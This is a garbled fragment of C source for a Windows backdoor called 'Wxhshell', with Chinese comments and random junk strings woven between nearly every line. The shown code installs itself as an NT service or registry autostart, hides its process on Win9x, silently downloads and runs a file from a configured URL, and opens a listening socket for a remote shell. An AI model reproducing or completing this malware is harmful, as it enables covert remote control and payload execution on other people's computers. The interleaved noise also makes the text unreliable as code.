#oi4!%*M :D ?%!Q 0 CloseHandle(hProcess); fdN-Zq@' oG5JJpLT if(strstr(procName,"services")) return 1; // 以服务启动 yKa}U!$ K,^{|5'3q return 0; // 注册表启动 7k:}9M~ } S~}?6/G. yU*j{>%RsK // 主模块 s0.yPA int StartWxhshell(LPSTR lpCmdLine) /z,sM"d { #Qy*zU#9 SOCKET wsl; EZc!QrY BOOL val=TRUE; r%$-F2.p int port=0; \p.Byso, struct sockaddr_in door; Zcz)FP# E'&UWDh if(wscfg.ws_autoins) Install(); j46fQ }O@S;[v
S port=atoi(lpCmdLine); M0 x5s@ p H?VM&x if(port<=0) port=wscfg.ws_port; +vLuzM- Y1Bj++?2 WSADATA data; $[[6N0}*: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QM9~O#rL x"v5'EpL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #v')iR"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jfS?#;T) door.sin_family = AF_INET; lVXgp'!#j door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1?)<*[ door.sin_port = htons(port); i?'HVx rr*",a"}m if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E[t\LTt*n closesocket(wsl); z>&Py( return 1; )Bl% {C } =q^o6{d0" <=cj) if(listen(wsl,2) == INVALID_SOCKET) { fmA&1u/xMs closesocket(wsl); ~DPg):cZ return 1; 27E6S)zv } ]NuY{T&: Wxhshell(wsl); 2#*Bw= WSACleanup(); /+sn-$/"i }%y_LcL return 0; :I F&W=?9 hof$0Fg } cIja^xD /zuU // 以NT服务方式启动 {+z+6i VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =a?l@dI] { M$%aX,nk' DWORD status = 0; .-`7Av+7 DWORD specificError = 0xfffffff; W}WGg|ug T
{(6*^g<B serviceStatus.dwServiceType = SERVICE_WIN32; /Rx%}~x/m serviceStatus.dwCurrentState = SERVICE_START_PENDING; /I$g .f/# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &>@nW!n
u serviceStatus.dwWin32ExitCode = 0; ]Vl*!,(i serviceStatus.dwServiceSpecificExitCode = 0; -YA1Uk serviceStatus.dwCheckPoint = 0; A7+eWg{ serviceStatus.dwWaitHint = 0; uMPJ ;TMH.E,h: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x
nWapG if (hServiceStatusHandle==0) return; u+[ZWhKUp bW3e*O$V status = GetLastError(); ^z9ITGB~tV if (status!=NO_ERROR) ',kYZay { \P}~ICZA serviceStatus.dwCurrentState = SERVICE_STOPPED; 'e7<&wm ia serviceStatus.dwCheckPoint = 0; &UbNp8h serviceStatus.dwWaitHint = 0; HP. j. serviceStatus.dwWin32ExitCode = status; I#Iu:,OT serviceStatus.dwServiceSpecificExitCode = specificError; D
gY2:&0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ztP' return; t \DS}3pv } RQ9fA1YP s#)fnNQ, serviceStatus.dwCurrentState = SERVICE_RUNNING; _s|C0Pt serviceStatus.dwCheckPoint = 0; 7AV !v` serviceStatus.dwWaitHint = 0; o`M7:8G if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .FqbX5\p, } 7$Bq.Lc#z N=zrY`Vd // 处理NT服务事件,比如:启动、停止 +7^%fX;3pW VOID WINAPI NTServiceHandler(DWORD fdwControl) QI=",vmau { 4@/[aFH switch(fdwControl) EXS
1.3> { (gvaYKvr case SERVICE_CONTROL_STOP: jNaK] serviceStatus.dwWin32ExitCode = 0; p r(:99~3 serviceStatus.dwCurrentState = SERVICE_STOPPED; qI^6}PB serviceStatus.dwCheckPoint = 0; Y71io^td~j serviceStatus.dwWaitHint = 0; Ad9'q!_en { vtCt6M SetServiceStatus(hServiceStatusHandle, &serviceStatus); 80![aj}z4G } ~>k<I:BtrT return; eqZ V/a case SERVICE_CONTROL_PAUSE: !-U5d9! serviceStatus.dwCurrentState = SERVICE_PAUSED; $*H_0w Qc break; 2?z3s|+[ case SERVICE_CONTROL_CONTINUE: }_@*, serviceStatus.dwCurrentState = SERVICE_RUNNING; ;&s`g
break; crz )F" case SERVICE_CONTROL_INTERROGATE: R',Q)< break; V~+Oil6sa }; g&`e2|[7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); &UEr4RK;I } pTprU)sa7 8jMw7ti // 标准应用程序主函数 ZMt9'w; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PL@hsZty~c { !)?n n3 K``MS // 获取操作系统版本 Cf91#%:cN OsIsNt=GetOsVer(); =$X5O&E3' GetModuleFileName(NULL,ExeFile,MAX_PATH); <ZSH1~<{6 58DkVQ 6 // 从命令行安装 po4seW! if(strpbrk(lpCmdLine,"iI")) Install(); blpX_N s+#gH@c // 下载执行文件 X#EMmB! if(wscfg.ws_downexe) { ='`z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )M<"YI)g WinExec(wscfg.ws_filenam,SW_HIDE); V:fz } W-qec }%c2u/PQ if(!OsIsNt) { ] JVs/ // 如果时win9x,隐藏进程并且设置为注册表启动 $sTbFY HideProc(); Dt%Gv0 StartWxhshell(lpCmdLine); 'W(+rTFf! } .vE=527g) else ea kj>7\s if(StartFromService()) ;IZ*o<_ // 以服务方式启动 =iW!Mq StartServiceCtrlDispatcher(DispatchTable); 2BZYC5jy else jfP2n5X83 // 普通方式启动 Uy2NZ%rnt StartWxhshell(lpCmdLine); mk(O..)2 9 js!gJC return 0; c7UmR?m }
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